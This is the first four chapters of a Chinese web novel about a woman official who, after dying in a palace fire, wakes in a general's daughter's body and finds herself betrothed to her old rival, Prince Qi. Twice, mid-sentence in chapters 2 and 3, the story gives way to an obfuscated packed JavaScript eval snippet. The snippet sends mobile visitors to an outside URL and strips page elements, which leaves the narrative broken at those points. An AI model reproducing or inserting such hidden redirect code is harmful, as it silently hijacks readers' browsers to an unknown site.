《魂穿后嫁给断袖死对头》 1. 第一章 昭文二十五年，正月初一。 皇城晟都方下过一场大雪，各家各户的房檐屋顶上都覆上一层崭新的白。 晨间天一亮，镇南将军府的下人们已经开始忙活起来。小厮们提着扫把在院子里清扫积雪，丫鬟们则在厨房里进进出出，为新年的第一顿家宴做准备。 东院的管事嬷嬷也早早赶到琼英院，拎着提前备好的贺礼，叩响了楚家二小姐的房门：“小姐，该起床了。西院的姑老爷和姑太太还等着您去拜年呢！” 楚卿迷迷糊糊地睁眼，从被窝里探出半个头，挣扎一下，又缩了回去。 今年的冬天太冷了。 昨夜的风雪吹了一整夜，刺骨的北风顺着窗缝渗进来，冻得楚卿一夜没睡安稳。眼下好不容易踏实睡了一会儿，又要被迫起床拜年。 楚卿缩在被子里，长长叹出一口气。没办法，谁让她现在在别人的身体里，身不由己呢！ 她原是当今朝中的三品大员，五年前女扮男装入朝为官，去年年初刚升到礼部尚书的位置。只可惜，三品尚书的位置还没捂热，她就葬在了一场大火中。 楚卿对那场大火的记忆并不清晰。她只记得那天是中秋宫宴，宴会上突发大火，有人趁乱将她打晕。等她再醒来，已经被大火重重围住，失去了逃生的可能。 她在熊熊火海中失去意识，时隔半年再次睁眼，竟成了镇南将军府的楚二小姐。 听琼英院的下人说，原主楚二在三天前不慎落水，受了风寒，一连高烧三天不退，中间最严重的时候，几乎断了气。多亏请来的郎中医术高明，才将人从鬼门关抢回来。 可只有楚卿自己清楚，在那之后醒来的并不是楚二，而是与楚二同名同姓的自己。 楚卿是在昨日清晨醒的，眼下已经在将军府住了一日。凭着楚二身体中残存的记忆，和从下人口中套来的闲言碎语，楚卿也算弄清了自己的处境。 镇南将军府分东西两院，楚二母女住在偏僻阴冷的东院；姑父姑母一家则住在条件更好的西院。 自十六年前，楚老将军战死疆场，楚二的姑父一家便以照顾楚二母女为由，搬进了将军府的西院。 西院的人贪图楚家家业，处处刁难楚二母女。楚二母女一向不愿与他们多往来，只有逢年过节才会象征性地上门拜会。 今天是大年初一，按规矩，晚辈都要晨起给长辈拜年。楚卿自知逃不掉，便裹着被子去给门口的柳嬷嬷开门。 柳嬷嬷是楚二母亲蒋氏身边的人，眼下她亲自来叫楚卿，正是蒋氏的意思。 虽然两家不睦已久，但面子上的功夫不能省。若是今日楚卿偷懒不去拜年，西院的人保准又会给她扣个“不敬长辈”的帽子，到时免不了一顿责罚。 楚卿虽然困得上下眼皮打架，却不想蒋氏为难，草草梳洗换好衣裳，跟着柳嬷嬷一同去了西院。 路上，柳嬷嬷忍不住叮嘱：“小姐待会去了西院，莫和高家人起争执。姑老爷说什么，您只管听着，左耳朵进，右耳朵出，千万别放在心上。夫人已经吩咐人准备早膳，等咱们从西院出来，就回霜颐院陪夫人用膳，好好过新年。” 楚卿打了个哈欠，草草应了一声：“嗯，知道了。”又在心里补了一句：只要他们不刁难我，我肯定不会让他们难堪。 东院和西院只隔着一道院墙，楚卿和柳嬷嬷二人很快到了前堂。 楚二的姑父高弘储端坐在前堂里品茶，一手端着茶盏，一手转着扳指。楚卿在外面打眼看过去，就知道这装腔作势的姑父，肚子里准没憋什么好话。 果不其然，没等楚卿和柳嬷嬷进门，姑父高弘储已经阴阳怪气地训起话来：“比往年上门的时间晚了半个时辰，也不知道遣人来打声招呼。让我一个长辈等你一个小辈，你们楚家人还真是越来越有规矩了。” 楚卿面不改色地进门，随手把贺礼撂在地上：“比不得你们高家人。若真论辈分，长嫂如母，姑父也该上门给我母亲请安才是。” 高弘储气得一把撂下茶盏。柳嬷嬷忙拐了楚卿一下：“小姐，慎言！” 楚卿摊手：“不好意思啊，没忍住。” 早前她在朝为官时，曾和高弘储有过几面之缘。高弘储凭着楚家的功勋才在吏部谋了个闲职，正经本事没有半点，溜须拍马的本事倒是修炼得炉火纯青。 楚卿新升礼部尚书时，高弘储还曾去给她送过礼，那一脸殷勤的样子，活像粮仓里偷食的老鼠。 楚卿最瞧不上这样的人，在外面低三下四，一回家就吆五喝六，典型的窝里横。 这种人，越惯着，毛病越多。 柳嬷嬷也被楚卿的话惊了一跳，自家小姐一向温顺，平日里连说话都小心翼翼，几时这般硬气过。可眼前的姑老爷也不是善茬，一向睚眦必报，小姐贸然顶撞他，免不了又要受责罚。 临出发前，蒋氏还特意交代过柳嬷嬷，让她照顾好楚二，说二小姐方才大病过一场，受不得气，若是高家人出言刁难，让她多帮着周旋。 柳嬷嬷想着，二小姐毕竟是晚辈，既然顶撞了长辈，还是得道歉。可没等她开口，楚卿已经看穿了她的心思。 楚卿淡淡开口：“不用道歉，有事我担着。” 一个在外只会溜须拍马的草包，她还应付得了。 姑父高弘储坐得远，没听到楚卿末了一句话，只以为楚卿和柳嬷嬷二人在背着他偷偷嘀咕，不免更加恼火：“楚二，你到底是来拜年的，还是来气我的？” 楚卿瞟了一眼地上的贺礼，拿脚尖往前踢了踢：“当然是拜年了，看不出来吗？姑父若是眼神不好，不妨找个郎中来瞧瞧。顺便再看看有没有其他的毛病，总这么大火气，说不定是身体哪有问题。” 高弘储登时拍桌而起：“有你这么拜年的？大年初一你就咒我，我看你是反了天了！” 高弘储气得直喘，楚卿却没事人一般站在原地，不仅丝毫不慌，甚至有点想笑。 她的话还没说完，见高弘储喘得差不多了，才继续道：“姑父，您别生气啊！我不是有意气您。前几天，我不是昏迷了嘛！我那阵晕晕乎乎地一直做梦，就梦见一个白胡子的仙人指点，说姑父您的身体不好，若再不医治，恐怕活不到几年了。” 寻常人大过年听见这种话，八成会直接气得骂娘。可高弘储偏偏深信鬼神之说，听见有仙人入梦，一时间竟忘了生气，直接害怕起来。 他缓缓坐下，将信将疑地问：“真的？你可别想骗我。” 楚卿道：“当然了，我骗您做什么。仙人还说您近日会破财呢！姑父您仔细想想，是不是有这么回事？” 高弘储仔细一想，还真有一件事。 就在昨天，吏部尚书赵大人因为他收受贿赂一事，狠狠敲了他一笔。他这一次损失的银子，比近几年受贿得到的还多。 想到此处，高弘储不免怀疑，都说人在将死之际能见鬼神，楚二前几天也算在鬼门关前走了一遭，说不定她还真在梦里看见了什么。 高弘储暗自思量间，楚卿已经反客为主，径自走到一旁坐了下来。 楚卿在朝为官多年，早知吏部的人手脚不干净。吏部尚书赵大人暗自挪用公款，在城西的玉曲巷给外室买了一座宅子。这笔亏空若是不能补上，赵大人必然吃不了兜着走。 能在皇城买下一座宅邸，必然不是一笔小数目。赵大人想要填上这笔亏空，最快、也是最稳妥的法子，就是黑吃黑。 吏部的官员，十个有八个手脚不干净，他随手拎出几个软柿子敲上一笔，就能把亏空填平。 而高弘储这样的草包，正是最好捏的软柿子。 楚卿算着时间，差不多也快到了监察司下到各部查账的日子。如果她猜的不错，高弘储应该刚刚被自己的顶头上司摆了一道，损失了一大笔银子。 高弘储的反应已经验证了楚卿的猜想。楚卿坐在一旁，不紧不慢地给自己倒了一盏茶，问：“姑父，您现在还不信吗？” 高弘储琢磨着，楚二一个久居深闺的黄毛丫头，不可 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吏部的蛀虫多年未除，朝中买官卖官的风气愈演愈烈。若能借着高弘储之手拔出萝卜带出泥，将吏部的歪风邪气连根拔起，也不枉她赶个大早、冒着冷风跑到西院，编这一大通的谎话。 楚卿的目的已经达到，方才倒的茶水也晾到恰好的温度。她将温热的茶水一饮而尽，起身向高弘储告辞。 高弘储却又叫住她：“小二啊，那我的身体，仙人还说什么没有？” 楚卿顿住脚步，她还真把这事忘了。 堂外不停刮着北风，积雪被吹到天上，仿佛又落起了雪。 楚卿盯着窗外的风雪，思量一瞬，随口胡诌：“仙人说姑父的火气太旺，需要降火。眼下寒冬腊月，正是降火的好时节。是药三分毒，所以仙人说姑父不必吃药，只需要每日早晚穿着单衣在府里跑几圈，不仅可以消除火气，还能延年益寿。不过，也不用跑太久，半个时辰就够了。” 毕竟再多，就要冻出人命了。 楚卿也没管高弘储信不信，径自带着柳嬷嬷离开，顺便把带来的贺礼也拎了回去。 临走前，高弘储还挽留，问楚卿要不要等见了姑母再走。楚二的姑母楚瑛一直在后院给表妹梳妆，还没来得及到前堂来。 楚卿打了个哈欠，摆摆手拒绝了。她现在，只想回去补觉。 楚卿和柳嬷嬷回来得快，早膳还没准备好。楚卿便抓紧时间回到房间补觉。 屋子里一如既往的冷。楚卿一进屋就开始后悔，方才怎么没再忽悠两筐炭火回来，一直住在冰窖似的屋子里，真要把她冻出病了。 楚卿只好又取出几件冬衣，里三层外三层地吧自己裹起来，而后缩进被子里，昏昏沉沉地睡了过去。 但她到底还是染了风寒。 生病的人睡不安稳，细碎的梦一场接着一场。 迷迷糊糊间，楚卿便梦到了从前的一生。 她九岁离家，十四进京。十八岁那年女扮男装参加科考，一举及第。而后，仅用五年时间，就坐上了礼部尚书的位置。 楚卿一直觉得，她的一生离经叛道，纵使行到末路，也该轰轰烈烈。如今这种被人一棒子敲晕，丢在火海里的憋屈死法，实在是太亏了。 等以后离开将军府，她一定要好好查查，到底是谁为了除掉她，不惜在帝王的宫宴上放火。 而后，她便又梦到了那场大火。 楚卿隐约记起，那天似乎曾有人闯进火海中救她。 那人背着她，在不断倒塌的宫殿中艰难前行。她几次让他丢下她，那人都没答应，最后还因为她的遗言太冗杂，低低骂了她一句：“闭嘴。” 那人身上有种特殊的清苦气，像是医馆里的草药香。只有常年服药的人，身上才会有这种味道。 但楚卿身边没有这样的朋友。所以思绪混沌之间，她便一直在想：那位不惜舍命救她的男子，究竟是谁呢？ 2. 第二章 楚卿也没料到自己醒来时，已经过了晌午。 大夫人蒋氏坐在她的床边，神色有些憔悴。楚卿揉了揉眼，问：“您怎么在这啊？” 她下意识没有喊娘。 蒋氏见楚卿醒了，不由笑了笑：“醒了，饿不饿，娘吩咐人去给你热饭。” 楚卿刚睡醒，还有点蒙，顺从地点了点头。 早间，蒋氏曾遣人来琼英院找过楚卿，见她不仅睡着，还有些发热，没敢叫她起来。后来郎中来瞧了瞧，说问题不大，蒋氏才松下一口气。 楚卿没起来用早膳，蒋氏便也一直饿着肚子，在床边守着她。眼下楚卿醒了，蒋氏才吩咐人传菜。 饭菜热好，直接端进了楚卿的房里。 饭桌上，蒋氏时不时给楚卿夹菜，言语热络，格外温柔。这让一贯从容镇静的楚卿，第一次感到有些局促。 楚卿自小离家，对亲情二字没多大概念。蒋氏的关怀让她不大适应。她总觉得自己占了楚二的身子，这些关怀，像是偷来的。 但楚卿并不知道，蒋氏对女儿的关心，多源于愧疚。 因为楚二落水的真正原因，并非意外，而是轻生。 楚二出生那年，镇南将军战死沙场，大楚二六岁的兄长也在同年病逝。蒋氏因此忧思成疾，身体一天不如一天。 后来，高家人趁机搬进将军府，蒋氏慢慢失去掌家的权利，日子越过越凄凉，心里便有了怨气。 蒋氏一直觉得，是因为她生了一个女儿，无法继承楚家家业，才让高家人有机会趁虚而入。如果她当初生下的是男孩，她的日子也不会这么艰难。 所以在过去的十六年里，蒋氏不仅没有尽过母亲的职责，反倒对西院刁难楚二一事一直视而不见。 楚二轻生，她有不可推卸的责任。 但无论她再怨再恨，楚二终究是她的骨肉。她虽然无法疼爱她，却从没想过会因为自己的冷漠间接逼死她。 出于愧疚，在出事之后，蒋氏开始试着关心女儿，尽力弥补自己的过失。只可惜，她并不知道，此时坐在她面前的人，已经不是楚二了。 楚卿醒来后，蒋氏曾想和楚卿聊聊。但不知为何，大病初愈的女儿再醒来，不仅性情大变仿佛换了个人，似乎还把自己轻生投湖一事当成了失足落水。 蒋氏心中有愧，不敢再开口。楚卿不提，此事也便不了了之。 楚卿对情感之事一向迟钝，没看出蒋氏这层心思。她以为蒋氏关心她，只是因为蒋氏与楚二相依为命多年，母女情深。而她忽然进来横插一脚，夺了人家的母爱，心里格外过意不去。 她想着，楚二走得不明不白，是不是真的失足落水还不好说。她得先查清楚二落水的原因，还楚二一个公道，才能真正心安理得地从将军府脱身。 还有眼前这位柔弱的母亲，她也得替楚二照顾好。 至于去年中秋宫宴大火的真正起因，到底是谁趁乱打晕了她，以及那日在火海中舍命救她的人究竟是谁…… 凡此种种，可以暂时放一放。等她真正解决完楚家的事，从将军府脱身，再查也不迟。 楚卿思量间，忽然又想起了一件事。 楚二身边原本有一位名唤秋云的贴身丫鬟，这几日始终没有出现过。楚卿一直觉得有点奇怪，刚好趁着这阵问问蒋氏：“娘，秋云呢？” 蒋氏的动作忽然顿了顿，面色有些僵硬：“我让她回老家了。” 楚卿问：“回老家做什么，家里出事了吗？” 蒋氏垂眸，避开楚卿的目光：“没什么事。前些日子你落水，她作为你的贴身丫鬟没有照顾好你，已是失职。娘念在她照顾你多年的份上，没把她再卖出去，只让柳嬷嬷给了她些银子，把她打发走了。” 楚卿瞧出蒋氏的神色不对，但没追问，只顺着蒋氏的话继续说了下去：“哦，走就走吧！我也想换个丫鬟。娘，咱们东院的下人太少了，平日里太冷清。不妨趁着现在是新年，再采买一批新的丫鬟进府，如何？” 楚卿估摸着，自己接下来很长一段时间都要住在将军府里，京城的局势一向复杂，她身边不能没有自己的人。 她曾有一名女护卫，名唤林七，自十四年前便跟着她，是她可以完全信任的人。 如今她的原身葬身火海，林七八成还在故居守着。她想趁着这次丫鬟采买，把林七混在里面带进将军府。一来，方便她日后四处探查；二来，林七性子孤僻，也离不开她。 蒋氏不知道楚卿的打算，她心中有愧，楚卿说什么，她都会应下，便道：“行，明天就让柳嬷嬷去挑人。但你大病初愈，身边不能没人照顾。伙房里有个小丫头叫玉竹，虽然不太机灵，但踏实能干。娘已经派人去叫她。在你挑好新的贴身丫鬟前，就先让她照顾你。” 楚卿心想，不机灵好啊，她就喜欢笨的。 事情说完，楚卿也吃得差不多了。蒋氏的身体一向不好，不能长久坐着，眼下也到了她喝药的时间。楚卿便又和蒋氏闲谈几句，而后送她回房休息。 过不多时，小丫鬟玉竹来向楚卿报到。楚卿便忽悠她出府，去顺德街的香粉铺子给她买香粉。 当然，楚卿真正的目的是给林七传信。 香粉铺子的老板，是楚卿从前安插在京城的眼线。楚卿需要香铺老板帮忙，提前确认林七是否还在故居，如果在，便约在今晚见面。 西院的人盯得太紧，楚卿出去一趟太麻烦，为避免扑空，只好先忽悠玉竹出去传信，定好见面的时间。 楚卿给了玉竹一张字条，上门写着香粉的种类和对应的两数。香铺老板看见，自然会明白她的意思。 玉竹一来一回还算顺利，按楚卿的指点，给门卫塞了银子，没受西院的人刁难。 楚卿拿到香粉，确认消息送到，便以身体不适想睡觉为由，把玉竹打发走，而后披上斗篷，偷偷翻墙溜出了将军府。 楚卿抵达顺德街时，已是傍晚。 冬天的夜晚来得早，天色早早暗下来。大靖朝没有宵禁，夜市最晚可以开到子时。今天是大年初一，街边的商铺挂满了红彤彤的大灯笼，整座夜市被新年的热闹笼罩，处处都是欢声笑语。 楚卿披着素色的斗篷走在人群里，不算太显眼。她一路穿过最热闹的主街，趁没人注意，悄悄拐进了街角一条僻静的小巷。 不知不觉，又落起了雪。 飞雪来得急，下得也快。大雪如飞絮般盈满夜空，很快将巷子里的小路铺上一层厚厚的积雪。 楚卿在巷子尽头的小院门前停下脚步，抬头看了看院门上的匾额。 飞雪覆盖下，仍能隐约看出其上的字迹——秉烛书斋——这是当年楚卿买下这间小院时亲手所题。 吱嘎一声，院门被推开，门口灯笼上的积雪扑簌簌落下。 楚卿提着灯笼，慢慢走了进去。 院子里积满了雪，每走一步，脚下都会传来踩雪的咔吱声。屋内没有点灯，楚卿走到里屋的门前，正准备开门，眼前突然闪过一道寒光。 冷冽的刀锋劈开风雪，宛如一道势不可挡的疾风，凝滞在楚卿的颈侧。 北风呼啸而过，吹落房檐上的积雪，顺带压下了一道冰柱。冰柱落地，咔嚓一声，随即传来冰冷、透着杀意的话音：“什么人？” 女子的声音仿佛藏着寒冬的风雪，若是旁人听了，只怕会忍不住打寒颤。 可楚卿却笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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棱角分明的面容上几乎看不见血色，一眼看过去，最鲜艳的颜色，竟是鼻梁左上与眼角中间那一颗细小的红痣。 而北书房里不只有乌沉香的香气，还有一阵炽烈的酒气。 叶安用脚趾头想都知道，他家王爷又喝酒了。 他不敢训主子，只能朝身后的大哥撒气：“城南的医馆夜里不开张，北街的药铺和咱们祁王府搁着十二条街。我才刚从城北的顺德街回来，脚趾头十根有八根是硬的。王爷若是真喝出个好歹，还不是得我去北街买药？我说大哥啊，王爷喝酒，你怎么也不拦着？” 没等叶危解释，萧绛已经骂了一句：“聒噪。” 叶安：“……” 他还真是操着老妈子的心，受着不该受得气。 空空如也的酒坛还躺在书案上。叶危径自上前，收走酒坛和滚落的酒盅，将话题拉回正轨：“王爷，叶安有事禀报。” 萧绛揉了揉额角：“讲。” 说起正事，叶安的神色立刻正经起来。他回禀道：“顺德街后巷的秉烛书院，来人了。” 萧绛动作一顿，再抬眸，眼里的混沌一扫而空，只剩下锐利的清明。 “什么人？”萧绛问。 答案实在特殊，叶安有些犹豫，沉默一瞬才道：“楚家二小姐，楚卿。” 萧绛皱了皱眉。 叶危问：“王爷，是否需要属下派人去盯紧楚二小姐？” 萧绛指尖轻捻，揉碎了洒在书案上的香灰，目光沉沉：“不必了，本王亲自去。” 3. 第三章 楚卿站在院子里，冷不防打了个喷嚏。 雪已经停了，但北风依旧冷得刺骨。 林七烧好热水，灌了一个汤婆子，拿出来递给楚卿：“大人，你生病了。” 楚卿接过汤婆子，捧在手里暖了暖，朝冻红的指尖哈了口气：“不妨事，这几日风雪大，有些着凉了。” 她望着风雪，忽然想起一些旧事，“小七，你还记得吗？我们刚到京城那天，晟都也下了好大一场雪。我们为了省下二两银子，不肯进城住客栈。俩人挤在城郊的土地庙里，冻得连鼻涕都结了冰。” 楚卿忍不住发笑，林七却只是目光闪烁，淡淡应了一声：“属下记得。” 林七还记得，那天晚上楚卿笨手笨脚地爬到土地庙的房顶，远远眺望着灯火通明的晟都城，朝着寒风吹来的方向大喊，说她一定、一定会在京城站稳脚跟，晟都城中的四万八千盏灯火，迟早有一盏，专为她而明。 那时候林七只觉得，站在她身前的人，比皇城中的万千灯火更加耀眼。 每每想到此处，林七都会倍感自责，为什么去年中秋宫宴上，她没有保护好大人？若是那天她没有提前离开，她的大人或许就不会葬身火海。 楚卿注意到林七的神色有些异样，戳了她一下：“想什么呢？” 林七摇了摇头：“大人，回屋吧！外面冷。” 楚卿抱着汤婆子，又恋恋不舍地打量一圈熟悉的小院，点了点头：“嗯，走吧，是挺冷的。” 这间朴素的小院，原是楚卿和林七到京城后的第一个家。 那时候，楚卿手里只有过去几年跟着商队跑商攒下的银子，数目不多，在京城这种寸土寸金的地方，只够租下这座只有两间屋子的小院。 最开始那两年，楚卿和林七一直住这里，白天一起出去跑生意赚钱；到了晚上，楚卿熬夜读书，林七就在一旁给她掌灯。 后来，楚卿慢慢结交了新友，有了新的营生，积蓄越攒越多，便将这间小院买了下来。 起初，秉烛书斋还是楚卿的私宅。等后来楚卿入礼部为官，有了自己的官邸，便将小院的两间屋子打通，建成了一家书馆，取名秉烛书斋，供客人借阅书籍。 秉烛书斋只招待女客，来秉烛书斋的客人大多是家境一般、没有条件读书，或是家中长辈重男轻女、不许女子求学的姑娘家。 楚卿一开始只为她们提供书籍借阅，不收银两，只需要她们每月出一两位来书斋帮忙打扫整理书架。 后来，客人越来越多，楚卿慢慢注意到，京城之中和她曾经一样有心求学的女子远比自己想象得多。只是借书，远不能满足她们的需求。 因此，楚卿有了一个大胆的想法——她要办一家书院，属于女子的书院。 大靖没有女子求学的先例，办女子书院非一朝一夕之事。为了不耽误那些姑娘求学，楚卿便先在秉烛书斋里偷偷授课。 白天，她是礼部的新秀官员楚钦楚大人； 晚上，她便成了和女学生们始终隔着一道纱帐的楚先生。 书斋的课，直到楚卿葬身大火的前夕还在进行。 听林七说，直到楚卿葬身的第二个月，因为实在找不到其他女先生，课程才被迫取消。而秉烛书斋也因此又退回成一间仅供借阅书籍的书馆。 想到此处，楚卿不免惋惜。她想着等以后离开将军府，事态安稳些，秉烛书斋还是要再开起来。 比起礼部尚书的楚大人，她更想做书斋里的楚先生。 回到屋子后，林七给楚卿倒一杯热茶暖身子，问她：“大人，接下来，你打算怎么办？” 楚卿道：“我现在的身份是镇南将军府的楚二小姐，行事远不如从前方便。我还是想先联系上苏姐姐，托她帮我打听打听如今京城的局势，再为将来离开将军府的事情做打算。” 楚卿口中的苏姐姐名唤苏兰桡，是京城第一乐坊的坊主，也是楚卿来到京城结交的第一位友人。除了林七，苏兰桡是楚卿唯一能完全信任的人。 林七会意，应道：“属下明日便去找苏坊主。” 楚卿叹了一声：“恐怕今晚就得去。楚家明日采买丫鬟，我想让你混到丫鬟队伍中，和我一起住进将军府。这事，只能找苏姐姐帮忙。时间比较赶，要辛苦你今晚就跑一趟了。” 林七道：“不辛苦。” 能回到大人身边，无论如何，她都不会觉得辛苦。 楚卿思量一瞬，又道：“哦，对了，还有一件事。你去找苏姐姐的时候，顺便再托她帮我打听一件事。楚二身边原来有个丫鬟，叫秋云，据说是淮安水县人。你托苏姐姐帮我查查，这个小姑娘现在在哪，是否回了家，如果已经回了家，再问问具体返家的具体原因。” 林七又一一应下。 楚卿交代的差不多，时辰也不早了。她是偷偷出来的，为避免被发现，还得早点回去。 林七出门送她。二人一直走到巷子口，林七才终于忍不住问了一句：“大人，那你呢？” 楚卿一时没反应过来：“什么？” 林七不平道：“大人一路南下进京，历经多少波折才做到礼部尚书的位置，如今，便当真什么都不要了吗？” 林七很少一次性说这么长一段话，楚卿不由愣了愣，思量一瞬，才终于明白为何林七从见到她开始便一直苦着脸。 她叹道：“小七，我已经不是什么大人了。你也即将随我入住进将军府，我们都要尽快适应新的身份。以后，要叫小姐了。” 林七垂眸不语，显然在置气。 楚卿知道她在纠结什么，遂耐心安慰：“干嘛苦着脸，我不是还活着么？不过是换了副身体，我还是我，不会变的。” 林七依旧不语。 这丫头就是这样的性子，固执认死理，钻起牛角尖来，十头牛都拉不动她。 楚卿无奈叹了一声，终于说出了自重生起一直藏在心里的话。 她语重心长道：“小七，你是自沧州时便跟在我身边的。我们一路走过来，吃过多少苦，受过多少累，走得有多艰难，只有我们自己清楚。 “我明白你的惋惜，我也一样不甘。谁会甘心舍下自己一手拼出的基业，抛下一切，全部重新开始呢？ “可是小七，你也应该明白我入朝为官究竟是为了什么。”楚卿的语气很少如此严肃，“我并非贪图高官厚禄，别说是礼部尚书，就算是宰相之位，只要不能让我以女子的身份出现在世人眼前，那就都不是我想要的。 “其实我早该想明白，过去走的那条路再风光，也已经走到头了。礼部尚书官居三品，一旦被人发现我是女子，如此欺君大罪，绝不止我一人会因此丧命。不仅是礼部上下，连当年引荐我入礼部的周老先生都会受到牵连。 “太多的头衔压在我身上，朝中多少眼睛在暗处盯着。从前的处境，已容不得我犯错。”楚卿微微攥起手掌，目光愈发坚定，“既然礼部尚书不能是女子，那从前的路，便不是我楚卿要走的路。 “有些事，不破不立。既然当初的路已经走进死胡同，如今一切从头开始，未尝不是一件好事。” 楚卿说完，目光灼灼地望着远处的灯火。林七在一旁看着她，恍惚间，竟觉得又回到了初到京城的那个晚上。 而她身前的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790852|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容颜虽改，眼底的光却犹胜当年。 林七久违地笑了：“好，听大人的。” 直到此时此刻，她才深切地觉得，她的楚大人，是真的回来了。 …… 次日清早，柳嬷嬷将采买的丫鬟带回府。林七混在其中，顺利被楚卿接回了身边。 琼英院里只有两间屋子，小姐一间，丫鬟们一间。 楚卿本想拉林七来自己的房里住，可转头看了看一脸天真无邪的玉竹，又觉得自己如此明目张胆的偏心，会伤了人家小姑娘的心。 所以林七最后还是搬进偏房，和玉竹住在了一起。 然而，楚卿还是安排错了。 林七性子孤冷，寡言少语，时常冷着脸。玉竹因此有些怕她。林七在屋子里的时候，玉竹总会找个由头溜出去。俩人几乎没有一同出现过。 午间用过饭，林七翻墙出去偷偷练武，玉竹就一个人坐在院子里发呆，小脸冻得红扑扑的，也不知道在想什么。 楚卿捧着暖手炉路过，瞧见她玉竹坐在角落里，过去同她搭话：“发什么呆呢？” 玉竹回过神，一脸困惑地答道：“奴婢觉得西院的风水不太好。” 楚卿很有耐心，问她：“怎么说？” 玉竹十分认真地解释：“早间奴婢路过西院，看见姑老爷正在跑圈，身上就穿了一件单衣，连嘴唇都冻紫了。奴婢觉得准是西院的风水不好，姑老爷不慎中邪了。” 楚卿愣住两秒，扑哧一声大笑起来。 别说，西院的高大人还真中邪了。只不过作祟的鬼怪不是别人，正是楚卿自己！ 楚卿因为这事笑了足有半个时辰，直到后来柳嬷嬷来找她，她才止住笑声。 而后续发生的事，也再一次印证了什么叫乐极生悲。 柳嬷嬷来找楚卿，说让她去蒋氏那挑一挑首饰，留着以后出嫁的时候戴。 楚卿顿时傻眼：“出嫁？嫁给谁啊？” 柳嬷嬷也知道自从上次大病过后，二小姐的记性一直不好，所以特别耐心地解释：“当然是嫁给祁王啊！五殿下，当今圣上道五皇子，祁王，萧绛。” 楚卿的暖手炉吧嗒一声掉在地上。 谁？ 祁王？ 萧绛？ 楚卿几乎不敢相信自己的耳朵。 她在将军府住了也有两日多，之前怎么没人告诉她，她还有那么大一纸婚约呢？ 楚卿不敢相信地指了指自己：“我，嫁给萧绛？” 柳嬷嬷一直对这位未来的姑爷格外满意，骄傲笑道：“当然啦！还是圣上赐婚呢，半月前刚定下的。” 楚卿整个人僵在北风里，半晌没有说话。 等会儿，让她反应一下。 她应该没听错，是祁王。 那个她曾经在朝为官时的死对头，那个皇城中出了名的病秧子，那个在朝堂上和她水火不容地斗了三年的祁王。 斗来斗去，竟斗成了她的夫君？ 楚卿惊住良久才平静下来，开始重新梳理自己的处境。 现在，她不仅是镇南将军府的楚二小姐，还是她从前对头的准王妃。 那么，凭她对萧绛的了解，将军府内必有祁王府的眼线。而她前往秉烛书斋的事情，很可能已经败露了。 她得尽快把林七找回来，萧绛不仅知晓她从前是女儿身，还不止一次见过林七。 如果被萧绛发现林七在将军府，事情可就麻烦了。 可偏偏好巧不巧的，没等楚卿出去找人，前院已经来人通传。 祁王萧绛造访将军府，眼下已经快到琼英院了。 4. 第四章 昨夜的风雪太大，东院里的人手又太少。通往琼英院的青石板路上，积雪没来得及全部清走，只扫出了一条一人宽的小路。 萧绛披着雪色的狐裘大氅，神情淡漠地走在前面。楚二的姑父姑母二人则颠颠地跟在萧绛的身后，点头哈腰地陪笑。 高弘储本想留萧绛在西院做客，顺便套套近乎，只可惜萧绛完全不领情，一进府，直奔琼英院而来。 眼下高弘储为了能和这位风头正盛的祁王多说几句话，不惜一脚踏进雪里，也要走在萧绛的侧后方，边走边讨好道：“王爷想见二姑娘，遣人招呼一声便是，何必屈尊降贵亲自到访。下官也才下朝回家，还没来得及提前准备，实恐怠慢了王爷。” 萧绛从始至终没正眼瞧过他，闻言只冷声反问：“高大人是怪本王不请自来了？” 高弘储惶恐，忙赔罪：“下官不敢。” 高弘储的马屁拍到马腿上，被楚二的姑母楚瑛拉了回来。 楚瑛又急又气道：“你现在知道害怕了？我早让你对楚二好些，你怎么不听？万一待会楚二向祁王告状，说起三天前投湖的事，咱们一家子都得吃不了兜着走！” 高弘储不敢跟萧绛摆臭脸，这会儿他和萧绛离得远，便把方才憋的气都撒在了楚瑛的身上。 他回道：“你还好意思说我？你是楚二的姑母，还是我是楚二的姑母？连她亲妈都不管她，轮得到我一个外人管吗？我在吏部天天都忙成什么样了，哪有功夫看她一个小丫头过得好不好？” 楚瑛闻言更生气了：“你现在知道自己是外人了？从前跟人吹嘘你是将军府家主的时候，怎么没见你拿自己当外人？你可别忘了，将军府姓楚。楚二若是真闹起来，没你的好果子吃！” 高弘储气得直想动手，可萧绛还走在前头。他只得把抬一半的手又收回来，咬牙道：“你也别忘了，将军府就我一个男人。将军府现在的确姓楚，但以后，可保不准姓什么！” 高弘储撂完狠话，转过身立马红脸变白脸，忙又笑呵呵地跟到了萧绛的身后。 夹道两旁的积雪足有半米高，小路太窄，萧绛走在路上，雪色的狐裘大氅时不时擦上两边的雪堆。 雪堆上还有尘土，高弘储见状，忙上前帮萧绛拉起大氅的下摆，殷勤提醒：“王爷，当心衣裳，莫沾了脏东西。” 萧绛顿住脚步，冷冷回眸：“放手。” 萧绛的眼眸深若寒潭，睥睨的目光比寒冬的北风还冷冽。 高弘储吓得一哆嗦，忙松了手。 楚卿躲在回廊的转角，将院子里的好戏看得一清二楚，没忍住，扑哧一声笑了出来。 高弘储还真是点背，千不该万不该，怎么偏偏伸手碰了这位活祖宗？ 萧绛一向最讨厌别人碰他，甚至有些人只是靠近他，都会让他觉得恶心。 楚卿对萧绛的脾气门清，一眼看过去，就知道高弘储必然是萧绛连看一眼都觉得反胃的类型。 萧绛看高弘储那眼神，就差把“脏东西是你”五个大字，直接在砸高弘储的脸上了。 楚卿还是第一次觉得，萧绛这药汤子灌出的臭毛病，也不是特别令人讨厌。 